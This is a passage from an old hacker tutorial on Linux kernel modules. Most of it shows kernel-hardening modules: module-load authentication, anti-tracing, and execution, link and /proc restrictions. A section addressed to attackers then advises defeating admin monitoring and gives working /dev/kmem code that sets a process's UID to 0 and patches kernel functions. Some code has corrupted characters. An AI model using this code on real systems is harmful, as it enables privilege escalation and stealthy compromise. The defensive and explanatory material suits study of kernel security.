- the system needs to search it. So just type a password as command and the LKM
- will check it in the intercepted stat call [I know this is more than insecure;
- even a Linux starter would be able to defeat this authentication scheme, but
- (again) this is not the point here...]. Take a look at my implemtation (I ripped
- lots of from existing LKMs like the one by plaguez...):<br>
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- #include <sys/stat.h>
- extern void* sys_call_table[];
- /*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
- int lock_mod=0;
- int __NR_myexecve;
- /*intercept create_module(...) and stat(...) systemcalls*/
- int (*orig_create_module)(char*, unsigned long);
- int (*orig_stat) (const char *, struct old_stat*);
- char *strncpy_fromfs(char *dest, const char *src, int n)
- {
- char *tmp = src;
- int compt = 0;
- do {
- dest[compt++] = __get_user(tmp++, 1);
- }
- while ((dest[compt - 1] != '\0') && (compt != n));
- return dest;
- }
- int hacked_stat(const char *filename, struct old_stat *buf)
- {
- char *name;
- int ret;
- char *password = "password"; /*yeah, a great password*/
- name = (char *) kmalloc(255, GFP_KERNEL);
- (void) strncpy_fromfs(name, filename, 255);
- /*do we have our password ?*/
- if (strstr(name, password)!=NULL)
- {
- /*allow loading a module for one time*/
- lock_mod=1;
- kfree(name);
- return 0;
- }
- else
- {
- kfree(name);
- ret = orig_stat(filename, buf);
- }
- return ret;
- }
- int hacked_create_module(char *name, unsigned long size)
- {
- char *kernel_name;
- char hide[]="ourtool";
- int ret;
-
- if (lock_mod==1)
- {
- lock_mod=0;
- ret=orig_create_module(name, size);
- return ret;
- }
- else
- {
- printk("<1>MOD-POL : Permission denied !\n");
- return 0;
- }
- return ret;
- }
- int init_module(void) /*module setup*/
- {
- __NR_myexecve = 200;
- while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
- __NR_myexecve--;
-
- sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
- orig_stat=sys_call_table[SYS_prev_stat];
- sys_call_table[SYS_prev_stat]=hacked_stat;
- orig_create_module=sys_call_table[SYS_create_module];
- sys_call_table[SYS_create_module]=hacked_create_module;
- printk("<1>MOD-POL LOADED...\n");
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_prev_stat]=orig_stat;
- sys_call_table[SYS_create_module]=orig_create_module;
- }
- </xmp>
- This code should be clear. The following list tells you what to improve in this
- LKM in order to make it more secure, perhaps a bit too paranoid :) :
- <ul>
- <li>find another way to authenticate (use your own user space interface, with your
- own systemcalls; use userID (not just a plain password); perhaps you have a
- biometric device -> read documentation and code your device driver for Linux
- and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles,
- biometric, smartcard systems can often be defeated because of a very insecure
- software interface;. You could secure your whole system with a mechanism like
- that. Control your whole kernel with a smartcard :)<br>
- Another not so 'extreme' way would be to implement your own systemcall which is
- responsible for authentication. (see II.11 for an example of creating your
- own systemcall).<br>
- <li>find a better way to check in sys_create_module(...). Checking a variable is
- not very secure, if someone rooted your system he could patch the memory (see
- the next part)<br>
- <li>find a way to make it impossible for an attacker to use your authentication
- for insmod'ing his LKM <br>
- <li>add hiding features<br>
- <li>...<br>
- </ul>
- You can see, there is some work to do. But even with those steps, your system
- cannot be totally secure.If someone rooted the system he could find other tricks
- to load his LKM (see next part); perhaps he even does not need a LKM, because he
- only rooted thesystem, and don't want to hide files / processeses (and the other
- wonderfull things possible with LKMs).
- <H3><A NAME="III.2."></A>2. Anti-LKM-Infector ideas</h3
- In this section I will concentrate on the LKM Infector by SVAT, because I cannot
- present a generic LKM infection scanner. Perhaps this would be possible with
- something like heuristic tests or something similar. There are many ways you
- can implement a LKM infector scanner. You can divide them into two big groups :
- <ul>
- <li> memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD
- scanner virus in WIN9x)<br>
- <li> file checking scanner (checking module files for signs of an infection)<br>
- </ul>
- The first method is possible through intercepting sys_create_module (or the
- init_module call). The second approach needs something characteristic which you
- may find in any infected file. We know that the LKM infector appends two module
- files. So we could check for two ELF headers / signatures. Of course, any other
- LKM infector could use a improved method (encryption, selfmodifying code etc.).
- I won't present a file checking scanner, because you just have to write a little
- (user space) programm that reads in the module, and checks for twe ELF headers
- (the 'ELF' string, for example).
- <H3><A NAME="III.3."></A>3. Make your programs untraceable (theory)</h3>
- Now it's time to beat hackers snooping our executables. As I said before strace
- is the tool of our choice. I presented it as a tool helping us to see which
- systemcalls are used in certain programs. Another very interesting use of strace
- is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to
- use strace for TTY hijacking. Just strace your neighbours shell,and you will get
- every input he makes. So you admins should realize the danger of strace. The
- program strace uses the following API function :<br>
- <xmp>
- #include <sys/ptrace.h>
- int ptrace(int request, int pid, int addr, int data);
- </xmp>
- Well how can we control strace? Don't be silly and remove strace from your
- system, and think everything is ok - as I show you ptrace(...) is a library
- function. Every hacker can code his own program doing the same as strace. So
- we need a better more secure solution. Your first idea could be to search for
- an interesting systemcall that could be responsible for the tracing; There is
- a systemcall doing that; but let's look at another approach before.<br>
- Remember II.5.1 : I talked about the task flags. There were two flags which
- stand for traced processes. This is the way we can control the tracing on our
- system. Just intercept the sys_execve(...) systemcall and check the current
- process for one of the two flags set.<br>
- <H4><A NAME="III.3.1."></A>3.1 Practical Example of a prototype Anti-Tracer</h4>
- This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from
- 4. The flags field from our process can easily be retrieved using the current
- pointer (task structure). The rest is nothing new.
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- int __NR_myexecve;
- int (*orig_execve) (const char *, const char *[], const char *[]);
- char *strncpy_fromfs(char *dest, const char *src, int n)
- {
- char *tmp = src;
- int compt = 0;
- do {
- dest[compt++] = __get_user(tmp++, 1);
- }
- while ((dest[compt - 1] != '\0') && (compt != n));
- return dest;
- }
- int my_execve(const char *filename, const char *argv[], const char *envp[])
- {
- long __res;
- __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
- (filename)), "c"((long) (argv)), "d"((long) (envp)));
- return (int) __res;
- }
- int hacked_execve(const char *filename, const char *argv[], const char *envp[])
- {
- int ret, tmp;
- unsigned long mmm;
- char *kfilename;
- /*check for the flags*/
- if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {
- /*we are traced, so print the traced process (program name) and return
- without execution*/
- kfilename = (char *) kmalloc(256, GFP_KERNEL);
- (void) strncpy_fromfs(kfilename, filename, 255);
- printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
- kfree(kfilename);
- return 0;
- }
- ret = my_execve(filename, argv, envp);
- return ret;
- }
- int init_module(void) /*module setup*/
- {
- __NR_myexecve = 200;
- while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
- __NR_myexecve--;
- orig_execve = sys_call_table[SYS_execve];
- if (__NR_myexecve != 0)
- {
- sys_call_table[__NR_myexecve] = orig_execve;
- sys_call_table[SYS_execve] = (void *) hacked_execve;
- }
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_execve]=orig_execve;
- }
- <xmp>
- This LKM also logs any executable someone wanted to execute with tracing. Well
- this LKM checks for some flags, but what if you start tracing a program which
- is already running. Just imagine a program (shell or whatever) running with the
- PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this
- hooking sys_ptrace(...) is the only way. Look at the following module :
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- int (*orig_ptrace)(long request, long pid, long addr, long data);
- int hacked_ptrace(long request, long pid, long addr, long data)
- {
- printk("TRACING IS NOT ALLOWED\n");
- return 0;
- }
- int init_module(void) /*module setup*/
- {
- orig_ptrace=sys_call_table[SYS_ptrace];
- sys_call_table[SYS_ptrace]=hacked_ptrace;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_ptrace]=orig_ptrace;
- }
- <xmp>
- Use this LKM and no one will be able to trace anymore.
- <H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3>
- This section subject may sound familiar to Phrack readers. Route introduced nice
- ideas for making the Linux system more secure. He used some patches. I want to
- show that some ideas can also be implemented by LKMs. Remember that without
- hiding those LKMs it is also <i>useful</i> (of course hiding is something you should
- do), because route's patches are also worthless if someone rooted the system;
- and a non-priviledged user can <i>not</i> remove our LKM, but he can see it.
- The advantage of using LKMs instead of a static kernel patch : you can easily
- manage the whole system security, and install it more easily on running system.
- It's not necessary to install a new kernel on sensitive system you need every
- second.<br>
- The Phrack patches also added some logging feature's which I did not implement
- but there are thousand ways to do it.The simpelst way would be using printk(...)
- [Note : I did not look at every aspect of route's patches. Perhaps real good
- kernel hackers would be able to do more with LKMs.]
- <H4><A NAME="III.4.1."></A>4.1 Why should we allow arbitrary programs execution rights? </h4>
- The following LKM is something like route's kernel patch that checks for
- execution rights :
- <xmp>
- #define __KERNEL__
- #define MODULE
- #include <linux/version.h>
- #include <linux/mm.h>
- #include <linux/unistd.h>
- #include <linux/fs.h>
- #include <linux/types.h>
- #include <asm/errno.h>
- #include <asm/string.h>
- #include <linux/fcntl.h>
- #include <sys/syscall.h>
- #include <linux/module.h>
- #include <linux/malloc.h>
- #include <linux/kernel.h>
- #include <linux/kerneld.h>
- /* where the sys_calls are */
- int __NR_myexecve = 0;
- extern void *sys_call_table[];
- int (*orig_execve) (const char *, const char *[], const char *[]);
- int (*open)(char *, int, int);
- int (*close)(int);
- char *strncpy_fromfs(char *dest, const char *src, int n)
- {
- char *tmp = src;
- int compt = 0;
- do {
- dest[compt++] = __get_user(tmp++, 1);
- }
- while ((dest[compt - 1] != '\0') && (compt != n));
- return dest;
- }
- int my_execve(const char *filename, const char *argv[], const char *envp[])
- {
- long __res;
- __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
- (filename)), "c"((long) (argv)), "d"((long) (envp)));
- return (int) __res;
- }
- int hacked_execve(const char *filename, const char *argv[], const char *envp[])
- {
- int fd = 0, ret;
- struct file *file;
- /*we need the inode strucure*/
- /*I use the open approach here, because you should understand it from the LKM
- infector, read on for seeing a better approach*/
- fd = open(filename, O_RDONLY, 0);
-
- file = current->files->fd[fd];
- /*is this a root file ?*/
- /*Remember : you can do other checks here (route did more checks), but this
- is just for demonstration. Take a look at the inode structur to
- see other items to heck for (linux/fs.h)*/
- if (file->f_inode->i_uid!=0)
- {
- printk("<1>Execution denied !\n");
- close(fd);
- return -1;
- }
- else /*otherwise let the user execute the file*/
- {
- ret = my_execve(filename, argv, envp);
- return ret;
- }
- }
- int init_module(void) /*module setup*/
- {
- printk("<1>INIT \n");
- __NR_myexecve = 250;
- while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
- __NR_myexecve--;
- orig_execve = sys_call_table[SYS_execve];
- if (__NR_myexecve != 0)
- {
- printk("<1>everything OK\n");
- sys_call_table[__NR_myexecve] = orig_execve;
- sys_call_table[SYS_execve] = (void *) hacked_execve;
- }
- open = sys_call_table[__NR_open];
- close = sys_call_table[__NR_close];
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_execve]=orig_execve;
- }
- </xmp>
- This is not exactly the same as route's kernel patch. route checked the <i>path</i>
- we check the <i>file</i> (a path check would also be possible, but in my opinion a
- file check is also the better way). I only implemented a check for UID of the
- file, so an admin can filter the file execution process. As I said the open /
- fd approach I used above is not the easiest way; I took it because it should be
- familiar to you (remember, the LKM infector used this method). For our purpose
- the following kernel function is also possible (easier way) :
- <xmp>
- int namei(const char *pathname, struct inode **res_inode);
- int lnamei(const char *pathname, struct inode **res_inode);
- </xmp>
- Those functions take a certain pathname and return the corresponding inode
- structure. The difference between the functions above lies in the symlink
- resolving : lnamei does <i>not</i> resolve a symlink and returns the inode structure
- for the symlink itself. As a hacker you could also modify inodes. Just retrieve
- them by hooking sys_execve(...) and using namei(...) (the way we use also for
- execution control) and manipulate the inode (I will show a practical example
- of this idea in 5.3).
- <H4><A NAME="III.4.2."></A>4.2 The Link Patch</h4>
- Every Linux user knows that symlink bugs are something which often leads to
- serious problems if it comes to system security. Andrew Tridgell developed a
- kernel patch which prevents a process from 'following a link which is in a +t
- (mostly /tmp/) directory unless they own the link'. Solar Designer added some
- code which also prevents users from creating hard links in a +t directory to
- files they don't own.<br>
- I have to admit that the symlink patch lies on a layer we can't easily reach
- from our LKM psotion. There are neither exported symbols we could patch nor any
- systemcalls we could intercept. The symlink resolving is done by the VFS. Take
- a look at part IV for methods which could help us to solve this problem (but I
- would not use the methods from IV to <i>secure</i> a system). You may wonder why I
- don't use the sys_readlink(...) systemcall for solving the problem. Well this
- call is used if you do a 'ls -a symlink' but it is not called if you issue a
- 'cat symlink'.<br>
- In my opinion you should leave this as a kernel patch. Of course you can code
- a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a
- user from creating symlinks in the /tmp directory. Look at the hard link LKM
- for a similar implementation.<br>
- Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar
- Designer's idea concerning hard link restrictions. This can be done as LKM. We
- only need to intercept sys_link(...) which is responsible for creating any hard
- links.Let's take a look at hacked systemcall (the code fragment does not exactly
- the same as the kernel patch, because we only check for the '/tmp/' directory,
- not for the sticky bit(+t),but this can also be done with looking at the inode
- structure of the directoy [see 5.1]) :
- <xmp>
- int hacked_link(const char *oldname, const char *newname)
- {
- char *kernel_newname;
- int fd = 0, ret;
- struct file *file;
- kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
- memcpy_fromfs(kernel_newname, newname, 255);
- /*hard link to /tmp/ directory ?*/
- if (strstr(kernel_newname, (char*)&hide ) != NULL)
- {
- kfree(kernel_newname);
- /*I use the open approach again :)*/
- fd = open(oldname, O_RDONLY, 0);
-
- file = current->files->fd[fd];
- /*check for UID*/
- if (file->f_inode->i_uid!=current->uid)
- {
- printk("<1>Hard Link Creation denied !\n");
- close(fd);
- return -1;
- }
- }
- else
- {
- kfree(kernel_newname);
- /*everything ok -> the user is allowed to create the hard link*/
- return orig_link(oldname, newname);
- }
- }
- </xmp>
- This way you could also control the symlink <i>creation</i>.
- <H4><A NAME="III.4.3."></A>4.3 The /proc permission patch</h4>
- I already showed you some ways how to hide some process information.route's idea
- is different to our hide approach. He wants to limit the /proc/ access (needed
- for access to process information) by changing the directory permissions. So
- he patched the proc inode. The following LKM will do exactly the same without a
- static kernel patch. If you load it a user will not be allowed to read the proc
- fs, if you unload it he will be able to. Here we go :
- <xmp>
- /*very bad programming style (perhaps we should use a function for the
- indode retrieving), but it works...*/
- #define __KERNEL__
- #define MODULE
- #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
- #define END_KMEM set_fs(old_fs);}
- #include <linux/version.h>
- #include <linux/mm.h>
- #include <linux/unistd.h>
- #include <linux/fs.h>
- #include <linux/types.h>
- #include <asm/errno.h>
- #include <asm/string.h>
- #include <linux/fcntl.h>
- #include <sys/syscall.h>
- #include <linux/module.h>
- #include <linux/malloc.h>
- #include <linux/kernel.h>
- #include <linux/kerneld.h>
- extern void *sys_call_table[];
- int (*open)(char *, int, int);
- int (*close)(int);
- int init_module(void) /*module setup*/
- {
- int fd = 0;
- struct file *file;
- struct inode *ino;
-
- /*again the open(...) way*/
- open = sys_call_table[SYS_open];
- close = sys_call_table[SYS_close];
- /*we have to supplie some kernel space data for the systemcall*/
- BEGIN_KMEM
- fd = open("/proc", O_RDONLY, 0);
- END_KMEM
- printk("%d\n", fd);
- file = current->files->fd[fd];
- /*here's the inode for the proc directory*/
- ino= file->f_inode;
- /*modify permissions*/
- ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;
- close(fd);
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- int fd = 0;
- struct file *file;
- struct inode *ino;
-
- BEGIN_KMEM
- fd = open("/proc", O_RDONLY, 0);
- END_KMEM
- printk("%d\n", fd);
- file = current->files->fd[fd];
- /*here's the inode for the proc directory*/
- ino= file->f_inode;
- /*modify permissions*/
- ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;
- close(fd);
- }
- </xmp>
- Just load this module and try a ps, top or whatever, it won't work. Every access
- to the /proc directory is totally denied. Of course, as root you are still
- allowed to view every process and anything else; this is just a permission patch
- in order to keep your users silly.<br>
- [Note : This is a practical implementation of modifying inodes 'on the fly' you
- should see many possibilities how to abuse this.]
- <H4><A NAME="III.4.4."></A>4.4 The securelevel patch</h4>
- The purpose of this patch : I quote route
- <blockquote>
- "This patch isn't really much of a patch. It simply bumps the securelevel
- up, to 1 from 0. This freezes the immutable and append-only bits on files,
- keeping anyone from changing them (from the normal chattr interface). Before
- turning this on, you should of course make certain key files immutable, and
- logfiles append-only. It is still possible to open the raw disk device,
- however. Your average cut and paste hacker will probably not know how to do
- this."
- </blockquote>
- Ok this one is really easy to implement as a LKM. We are lucky because the symbol
- responsible for the securelevel is public (see /proc/ksyms) so we can easily
- change it. I won't present an example for this bit of code, just import secure
- level and set it in the module's init function.
- <H4><A NAME="III.4.5."></A>4.5 The rawdisk patch</h4>
- I developed an easy way to avoid tools like THC's manipate-data.<br>
- Those tools are used by hackers to search the hard disk for their origin IP address or DNS name.
- After finding it they modify or remove the entry from the hard disk. For doing
- all this they need access to the /dev/* files for opening the rawdisk. Of course
- they can only do this after rooting the system. So what can we do about this. I
- found that the following way helps to prevent those attacks [of course there are
- again thousand ways to defeat that protection :(] :
- <ul>
- <li> boot your system<br>
- <li> install a LKM which prevents direct (dev/*) access to your partition you save
- your logs<br>
- </ul>
- This works because the system (normally) only needs direct access to the rawdisk
- during the some (seldom) operationes. The LKM just intercepts sys_open(...) and
- filter for the needed dev-file. I think it's not necessary to show how to code
- it, take a look at II.4.2). This way you can protect any /dev/* file. The
- problem is that this way nobody can access them directly while the LKM is
- loaded. <br>
- [Note : There are some functions which will not work / crash the system, but
- a normal web-, or mailserver should work with this patch.]
- <u><b>
- <H2>IV. Some Better Ideas (for hackers)</H2>
- </u></b>
- <P><P>
- <H3><A NAME="IV.1."></A>1. Tricks to beat admin LKMs</h3>
- This part will give us some notes on playing with the kernel on systems where
- you have a paranoid (good) admin. After explaining all the ways admins can
- protect a system, it is very hard to find better ways for us (hackers). <br>
- We need to leave the LKM field for some seconds in order to beat those hard
- protections.<br>
- Imagine a system where an admin has installed a very good and big monitor LKM
- which checks every action on that system. It can do everything mentioned in part
- II and III.<br>
- The first way to get rid of this LKM is trying to reboot the system, perhaps the
- admin did not load this LKM from an init file. So try some DoS Attacks or
- whatever works. If you still cannot kill this LKM try to look at some important
- files, but be careful, some files may be protected / monitored (see appendix A
- for such a LKM).<br>
- If you really cannot see where the LKM is loaded etc., forget the system
- or risk installing a backdoor, which you cannot hide (process/file). But if an
- admin really uses such a 'mega' LKM, forget the system, he might really be good
- and you may get some trouble. For those who even want to beat that system read
- section 2.
- <H3><A NAME="IV.2."></A>2. Patching the whole kernel - or creating the Hacker-OS</h3>
- [Note : This section may sound a bit off topic, but in the end I'll present a
- nice idea (program that was developed by Silvio Cesare which will also help us
- using our LKMs. This section will only give a summary of the whole kmem problem
- due to the fact that we only need to focus on the idea by Silvio Cesare.]<br>
- Ok LKM's are nice. But what if the admin is like the one described in 1. He does
- everything in order to prevent us from using our nice LKM techniques from part
- II. He even patched his own kernel, to make his system secure. He uses a kernel
- without native LKM support.<br>
- So now it's time to make our last step : Runtime Kernel Patching. The basic
- ideas in this section come from some sources I found (kmemthief etc) and a paper
- by Silvio Cesare which describes a general approach to modifying kernel symbols.
- In my opinion this kind of attack is one of the strongest concerning 'kernel
- hacking'. I don't undersand every Un*x kernel out there, but this approac can
- help you on many systems. This section describes Runtime Kernel Patching, but
- what about kernelfile patching. Every system has a file which represents the
- plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a
- kernel file, but what about the commercial ones ? I never tried it, but I think
- this would really be interesting : Imagine backdoor'ing a system thru a kernel
- patch. You only have to do a reboot or wait for one (every system must reboot
- sometimes :). But this text will only deal with the runtime approach. You may
- say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you
- don't want to know how to patch the whole Linux kernel. Well this section will
- help us to 'insmod' LKMs on systems which are very secure and have no LKM
- support in their kernel. So we learn something which will help us with our LKM
- abusing.<br>
- So let's start with the most important thing we have to deal with if we want to
- do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible
- for us to take a look (and modify) the complete virtual memory of our target
- system. [Note : Remember that the RKP approach is in most cases only useful, if
- you rooted a system. Only very unsecure systems will give normal users access to
- that file].<br>
- As I said before /dev/kmem gives us the chance to see every memory byte of our
- system (plus swap). This means we can also access the whole memory which allows
- us to manipulate any kernel item in the memory (because the kernel is only some
- objectcode loaded into system memory). Remember the /proc/ksyms file which shows
- us every address of an exported kernel symbol. So we know where to modify memory
- in order to manipulate some kernel symbols. Let's take a look at a very basic
- example which is know for a very long time. The following (user space) program
- takes the task_structure address (look for kstat in /proc/ksyms) and a certain
- PID. After seacxhing the task structure that stands for the specified PID it
- modifies every user id field in order to make this process UID=0. Of course
- today this program is nearly of no use, because most systems don't even allow
- a normal user to read /dev/kmem but it is a good introduction into RKP.
- <xmp>
- /*Attention : I implemented no error checking!*/
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- /*max. number of task structures to iterate*/
- #define NR_TASKS 512
- /*our task_struct -> I only use the parts we need*/
- struct task_struct {
- char a[108]; /*stuff we don't need*/
- int pid;
- char b[168]; /*stuff we don't need*/
- unsigned short uid,euid,suid,fsuid;
- unsigned short gid,egid,sgid,fsgid;
- char c[700]; /*stuff we don't need*/
- };
- /*here's the original task_structure, to show you what else you can modify
- struct task_struct {
- volatile long state;
- long counter;
- long priority;
- unsigned long signal;
- unsigned long blocked;
- unsigned long flags;
- int errno;
- long debugreg[8];
- struct exec_domain *exec_domain;
- struct linux_binfmt *binfmt;
- struct task_struct *next_task, *prev_task;
- struct task_struct *next_run, *prev_run;
- unsigned long saved_kernel_stack;
- unsigned long kernel_stack_page;
- int exit_code, exit_signal;
- unsigned long personality;
- int dumpable:1;
- int did_exec:1;
- int pid;
- int pgrp;
- int tty_old_pgrp;
- int session;
- int leader;
- int groups[NGROUPS];
- struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
- struct wait_queue *wait_chldexit;
- unsigned short uid,euid,suid,fsuid;
- unsigned short gid,egid,sgid,fsgid;
- unsigned long timeout, policy, rt_priority;
- unsigned long it_real_value, it_prof_value, it_virt_value;
- unsigned long it_real_incr, it_prof_incr, it_virt_incr;
- struct timer_list real_timer;
- long utime, stime, cutime, cstime, start_time;
- unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
- int swappable:1;
- unsigned long swap_address;
- unsigned long old_maj_flt;
- unsigned long dec_flt;
- unsigned long swap_cnt;
- struct rlimit rlim[RLIM_NLIMITS];
- unsigned short used_math;
- char comm[16];
- int link_count;
- struct tty_struct *tty;
- struct sem_undo *semundo;
- struct sem_queue *semsleeping;
- struct desc_struct *ldt;
- struct thread_struct tss;
- struct fs_struct *fs;
- struct files_struct *files;
- struct mm_struct *mm;
- struct signal_struct *sig;
- #ifdef __SMP__
- int processor;
- int last_processor;
- int lock_depth;
- #endif
- };
- */
- int main(int argc, char *argv[])
- {
- unsigned long task[NR_TASKS];
- /*used for the PID task structure*/
- struct task_struct current;
- int kmemh;
- int i;
- pid_t pid;
- int retval;
- pid = atoi(argv[2]);
- kmemh = open("/dev/kmem", O_RDWR);
-
- /*seek to memory address of the first task structure*/
- lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
- read(kmemh, task, sizeof(task));
-
- /*iterate till we found our task structure (identified by PID)*/
- for (i = 0; i < NR_TASKS; i++)
- {
- lseek(kmemh, task[i], SEEK_SET);
- read(kmemh, ¤t, sizeof(current));
- /*is it our process?*/
- if (current.pid == pid)
- {
- /*yes, so change the UID fields...*/
- current.uid = current.euid = 0;
- current.gid = current.egid = 0;
- /*write them back to memory*/
- lseek(kmemh, task[i], SEEK_SET);
- write(kmemh, ¤t, sizeof(current));
- printf("Process was found and task structure was modified\n");
- exit(0);
- }
- }
- }
- </xmp>
- Nothing special about this little program. It's just like searching a certain
- pattern in a file and changing some fields. There are lots of programs out
- there which are doing stuff like that. As you can see the example above won't
- help you attacking a system, it's just for demonstration (but there mayby some
- poor systems allowing users to write to /dev/kmem, I don't know).<br>
- The same way you can change the module structures responsible for holding the
- kernel's module information. This way you can also hide a module, just by
- patching kmem; I don't present an implementation of this, because it is basicly
- the same as the program above (ok, the searching is a bit harder ;)).<br>
- The way above we modified a kernel structure. There are some programs doing
- things like that. But what about functions ? Well seach the internet and you
- will soon recognize that there are not so many programs doing things like that.
- Well, of course patching a kernel function (we will do more useful things later)
- is a bit tricky. The best way would be to play with the sys_call_table structure
- which will point to a completely new function made by us. Otherwise there would
- be some problems concerning function size and so on. The following example is
- just a very easy program making every systemcall doing nothing. I just insert
- a RET(0xc3)at the beginning of the function address that I get from /proc/ksyms.
- This way the function will return immediately doing nothing.<br>
- <xmp>
- /*again no error checking*/
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- /*just our RET opcode*/
- unsigned char asmcode[]={0xc3};
- int main(int argc, char *argv[])
- {
- unsigned long counter;
- int kmemh;
- /*open device*/
- kmemh = open("/dev/kmem", O_RDWR);
-
- /*seek to memory address where the function starts*/
- lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
- /*write our patch byte*/
- write(kmemh, &asmcode, 1):
- close(kmemh);
- }
- </xmp>
- Let's summarize what we know so far : We can modify any kernel symbol; this
- includes things like sys_call_table[] and any other function or structure.<br>
- Remember that every kernel patching can only be done if we can access /dev/kmem
- but there are also ways how to protect this file. Take a look at III.5.5.
- <H4><A NAME="IV.2.1."></A>2.1 How to find kernel symbols in /dev/kmem</h4>
- After the basic examples above you could ask how to modify <i>any</i> kernel symbol
- and how to find interesting ones. In the example above we used /proc/ksyms to
- get the address we need to modify a symbol. But what do we have on systems
- with no lkm support build into their kernel, there won't be a /proc/ksyms file,
- because it is only used for module management (public / available symbols)?
- And what about kernel symbols that are not exported, how can we modify them ?<br>
- Many questions, so let's find some solutions. Silvio Cesare discussed some
- ways finding different kernel symbols (public & non-public ones). He outlines
- that while compiling the linux kernel a file called 'System.map' is created
- which maps every kernel symbol to a fixed address. This file is only needed
- during compilation for resolving those kernel symbols. The running systems has
- no need for that file.The addresses used for compilation are the same we can use
- to seek /dev/kmem. So the general approach would be :
- <ul>
- <li>lookup System.map for the needed kernel symbol <br>
- <li>take the address we found <br>
- <li>modify the kernel symbol (structure, function, or whatever)<br>
- </ul>
- Sounds quite easy. But there is one big problem. Every system which does not
- use exactly <i>our</i> kernel will have other addresses for their kernel symbols.<br>
- And on most systems you won't find a helpful System.map file telling us every
- address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take
- your kernel, read the first 10 bytes (just a random value) of a symbol address
- and take them as a key for searching the same symbol in another kernel.<br>
- If you cannot build a generic key for a certain symbol you may try to find some
- relations from this symbol to other kernel symbols you can create generic keys
- for. Finding relations can be done by looking up the kernel sources; this way
- you can also find interesting kernel symbols you could modify (patch).<br>
- <H4><A NAME="IV.2.2."></A>2.2 The new 'insmod' working without kernel support </h4>
- Now it's time to go back to our LKM hacking. This section will give you some
- hints concerning Silvio Cesare's kinsmod program. I will only outline the
- general working. The most complicated part of the program is the objectcode
- handling (elf file) and its kernel space mapping. But this is only a problem
- of the elf header processing nothing kernel specific. Silvio Cesare used elf
- files because this way you can insert [normal] LKMs. It would also be possible
- to write a file (just opcodes -> see me RET example) and inserting this file
- which would be harder to could but essier to map. For those who really want to
- understand the elf file handling I added Silvio Cesare's file to this text (I've
- also done it because Silvio Cesare wants his sources / ideas only be distributed
- within the whole file).<br>
- Now it's time to look at the general ideas of inserting LKMs on a system without
- support for that feature.<br>
- The first problem we are faced to if we want to insert code (a LKM or whatever)
- into the kernel is the need for memory. We can't take a random address and write
- our objectcode to /dev/kmem. So where can we put our code in a way it does not
- hurt the running system and will not be removed due to some memory operation in
- kernel space. There's one place where we can insert a bit of code, take a look
- at the following figure showing the general kernel memory :
- <xmp>
- kernel data
- ...
- kmalloc pool
- </xmp>
- The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)).
- We cannot put our code into this pool because we cannot be sure that the address
- space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool
- borders in memory are saved in memory_start and memory_end which are exported
- by the kernel (see /proc/ksyms). The interesting point about this is that the
- start address (memory_start) is <i>not</i> exactly the kmalloc pool start adress,
- because this address is aligned to the next page border of memory_start.So there
- is a bit of memory which will never be used (between memory_start and the real
